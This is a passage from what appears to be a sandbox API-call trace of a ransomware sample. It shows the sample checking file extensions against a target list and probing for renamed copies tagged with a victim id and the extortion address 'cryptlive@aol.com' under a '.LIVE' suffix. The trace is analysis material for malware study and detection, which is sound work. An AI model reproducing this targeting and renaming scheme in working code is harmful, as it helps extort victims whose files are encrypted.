(lpString1=".xls", lpString2=".bmp") returned 1 [0055.898] lstrlenW (lpString=".xlsx") returned 5 [0055.898] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0055.898] lstrlenW (lpString=".ppt") returned 4 [0055.898] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0055.898] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.898] lstrlenW (lpString=".zip") returned 4 [0055.898] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0055.898] lstrlenW (lpString=".rar") returned 4 [0055.898] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0055.898] lstrlenW (lpString=".bz2") returned 4 [0055.898] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0055.898] lstrlenW (lpString=".7z") returned 3 [0055.898] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0055.898] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.898] lstrlenW (lpString=".dbf") returned 4 [0055.898] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0055.898] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.898] lstrlenW (lpString=".1cd") returned 4 [0055.898] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0055.898] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.898] lstrlenW (lpString=".jpg") returned 4 [0055.898] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0055.899] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.899] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.899] lstrlenW (lpString=".doc") returned 4 [0055.899] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0055.899] lstrlenW (lpString=".docx") returned 5 [0055.899] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0055.899] lstrlenW (lpString=".pdf") returned 4 [0055.899] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0055.899] lstrlenW (lpString=".xls") returned 4 [0055.899] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0055.899] lstrlenW (lpString=".xlsx") returned 5 [0055.899] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0055.899] lstrlenW (lpString=".ppt") returned 4 [0055.899] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0055.899] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.899] lstrlenW (lpString=".zip") returned 4 [0055.899] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0055.899] lstrlenW (lpString=".rar") returned 4 [0055.899] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0055.899] lstrlenW (lpString=".bz2") returned 4 [0055.899] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0055.899] lstrlenW (lpString=".7z") returned 3 [0055.899] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0055.899] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.899] lstrlenW (lpString=".dbf") returned 4 [0055.899] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0055.899] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.899] lstrlenW (lpString=".1cd") returned 4 [0055.899] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0055.899] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.899] lstrlenW (lpString=".jpg") returned 4 [0055.899] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0055.900] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0055.900] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0055.900] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.516] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=5088) returned 1 [0056.516] CloseHandle (hObject=0x210) returned 1 [0056.516] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png")) returned 0x20 [0056.517] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.517] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.517] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.517] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.517] lstrlenW (lpString=".doc") returned 4 [0056.517] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.517] lstrlenW (lpString=".docx") returned 5 [0056.517] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0056.517] lstrlenW (lpString=".pdf") returned 4 [0056.517] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.517] lstrlenW (lpString=".xls") returned 4 [0056.517] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.517] lstrlenW (lpString=".xlsx") returned 5 [0056.517] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0056.517] lstrlenW (lpString=".ppt") returned 4 [0056.517] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.517] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.517] lstrlenW (lpString=".zip") returned 4 [0056.517] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.517] lstrlenW (lpString=".rar") returned 4 [0056.517] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.517] lstrlenW (lpString=".bz2") returned 4 [0056.517] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.517] lstrlenW (lpString=".7z") returned 3 [0056.517] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.517] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.517] lstrlenW (lpString=".dbf") returned 4 [0056.517] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.517] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.517] lstrlenW (lpString=".1cd") returned 4 [0056.517] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.517] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.518] lstrlenW (lpString=".jpg") returned 4 [0056.518] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.518] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.518] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.518] lstrlenW (lpString=".doc") returned 4 [0056.518] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.518] lstrlenW (lpString=".docx") returned 5 [0056.518] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0056.518] lstrlenW (lpString=".pdf") returned 4 [0056.518] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.518] lstrlenW (lpString=".xls") returned 4 [0056.518] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.518] lstrlenW (lpString=".xlsx") returned 5 [0056.518] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0056.518] lstrlenW (lpString=".ppt") returned 4 [0056.518] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.518] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.518] lstrlenW (lpString=".zip") returned 4 [0056.518] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.518] lstrlenW (lpString=".rar") returned 4 [0056.518] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.518] lstrlenW (lpString=".bz2") returned 4 [0056.518] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.518] lstrlenW (lpString=".7z") returned 3 [0056.518] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.518] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.518] lstrlenW (lpString=".dbf") returned 4 [0056.518] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.518] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.518] lstrlenW (lpString=".1cd") returned 4 [0056.518] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.518] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned 92 [0056.518] lstrlenW (lpString=".jpg") returned 4 [0056.518] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.519] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0056.519] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0056.519] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.519] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=3118) returned 1 [0056.519] CloseHandle (hObject=0x210) returned 1 [0056.519] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png")) returned 0x20 [0056.519] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.519] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.520] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.520] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.520] lstrlenW (lpString=".doc") returned 4 [0056.520] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.520] lstrlenW (lpString=".docx") returned 5 [0056.520] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.520] lstrlenW (lpString=".pdf") returned 4 [0056.520] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.520] lstrlenW (lpString=".xls") returned 4 [0056.520] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.520] lstrlenW (lpString=".xlsx") returned 5 [0056.520] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.520] lstrlenW (lpString=".ppt") returned 4 [0056.520] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.520] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.520] lstrlenW (lpString=".zip") returned 4 [0056.520] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.520] lstrlenW (lpString=".rar") returned 4 [0056.520] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.520] lstrlenW (lpString=".bz2") returned 4 [0056.520] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.520] lstrlenW (lpString=".7z") returned 3 [0056.520] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.520] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.520] lstrlenW (lpString=".dbf") returned 4 [0056.520] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.520] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.520] lstrlenW (lpString=".1cd") returned 4 [0056.520] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.520] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.520] lstrlenW (lpString=".jpg") returned 4 [0056.520] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.520] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.520] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.520] lstrlenW (lpString=".doc") returned 4 [0056.520] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.521] lstrlenW (lpString=".docx") returned 5 [0056.521] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.521] lstrlenW (lpString=".pdf") returned 4 [0056.521] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.521] lstrlenW (lpString=".xls") returned 4 [0056.521] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.521] lstrlenW (lpString=".xlsx") returned 5 [0056.521] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.521] lstrlenW (lpString=".ppt") returned 4 [0056.521] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.521] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.521] lstrlenW (lpString=".zip") returned 4 [0056.521] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.521] lstrlenW (lpString=".rar") returned 4 [0056.521] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.521] lstrlenW (lpString=".bz2") returned 4 [0056.521] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.521] lstrlenW (lpString=".7z") returned 3 [0056.521] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.521] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.522] lstrlenW (lpString=".dbf") returned 4 [0056.522] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.522] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.522] lstrlenW (lpString=".1cd") returned 4 [0056.522] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.522] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0056.522] lstrlenW (lpString=".jpg") returned 4 [0056.522] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.522] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0056.522] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30 [0056.522] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.522] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=4955) returned 1 [0056.522] CloseHandle (hObject=0x210) returned 1 [0056.522] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png")) returned 0x20 [0056.522] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.522] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.523] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.523] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.523] lstrlenW (lpString=".doc") returned 4 [0056.523] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.523] lstrlenW (lpString=".docx") returned 5 [0056.523] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0056.523] lstrlenW (lpString=".pdf") returned 4 [0056.523] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.523] lstrlenW (lpString=".xls") returned 4 [0056.523] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.523] lstrlenW (lpString=".xlsx") returned 5 [0056.523] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0056.523] lstrlenW (lpString=".ppt") returned 4 [0056.523] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.523] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.523] lstrlenW (lpString=".zip") returned 4 [0056.523] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.523] lstrlenW (lpString=".rar") returned 4 [0056.523] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.523] lstrlenW (lpString=".bz2") returned 4 [0056.523] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.523] lstrlenW (lpString=".7z") returned 3 [0056.523] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.523] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.523] lstrlenW (lpString=".dbf") returned 4 [0056.523] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.523] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.523] lstrlenW (lpString=".1cd") returned 4 [0056.523] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.523] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.523] lstrlenW (lpString=".jpg") returned 4 [0056.523] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.523] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.523] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.523] lstrlenW (lpString=".doc") returned 4 [0056.524] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.524] lstrlenW (lpString=".docx") returned 5 [0056.524] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0056.524] lstrlenW (lpString=".pdf") returned 4 [0056.524] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.524] lstrlenW (lpString=".xls") returned 4 [0056.524] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.524] lstrlenW (lpString=".xlsx") returned 5 [0056.524] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0056.524] lstrlenW (lpString=".ppt") returned 4 [0056.524] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.524] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.524] lstrlenW (lpString=".zip") returned 4 [0056.524] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.524] lstrlenW (lpString=".rar") returned 4 [0056.524] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.524] lstrlenW (lpString=".bz2") returned 4 [0056.524] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.524] lstrlenW (lpString=".7z") returned 3 [0056.524] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.524] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.524] lstrlenW (lpString=".dbf") returned 4 [0056.524] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.524] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.524] lstrlenW (lpString=".1cd") returned 4 [0056.524] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.524] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned 90 [0056.524] lstrlenW (lpString=".jpg") returned 4 [0056.524] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.526] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0056.526] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0056.526] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.528] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=3081) returned 1 [0056.529] CloseHandle (hObject=0x210) returned 1 [0056.529] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png")) returned 0x20 [0056.529] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.529] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.530] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.530] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.530] lstrlenW (lpString=".doc") returned 4 [0056.530] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.530] lstrlenW (lpString=".docx") returned 5 [0056.530] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.530] lstrlenW (lpString=".pdf") returned 4 [0056.530] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.530] lstrlenW (lpString=".xls") returned 4 [0056.530] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.530] lstrlenW (lpString=".xlsx") returned 5 [0056.531] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.531] lstrlenW (lpString=".ppt") returned 4 [0056.531] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.531] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.531] lstrlenW (lpString=".zip") returned 4 [0056.532] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.532] lstrlenW (lpString=".rar") returned 4 [0056.532] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.532] lstrlenW (lpString=".bz2") returned 4 [0056.532] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.532] lstrlenW (lpString=".7z") returned 3 [0056.532] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.532] lstrlenW (lpString="C:\\Program Files\\DVD 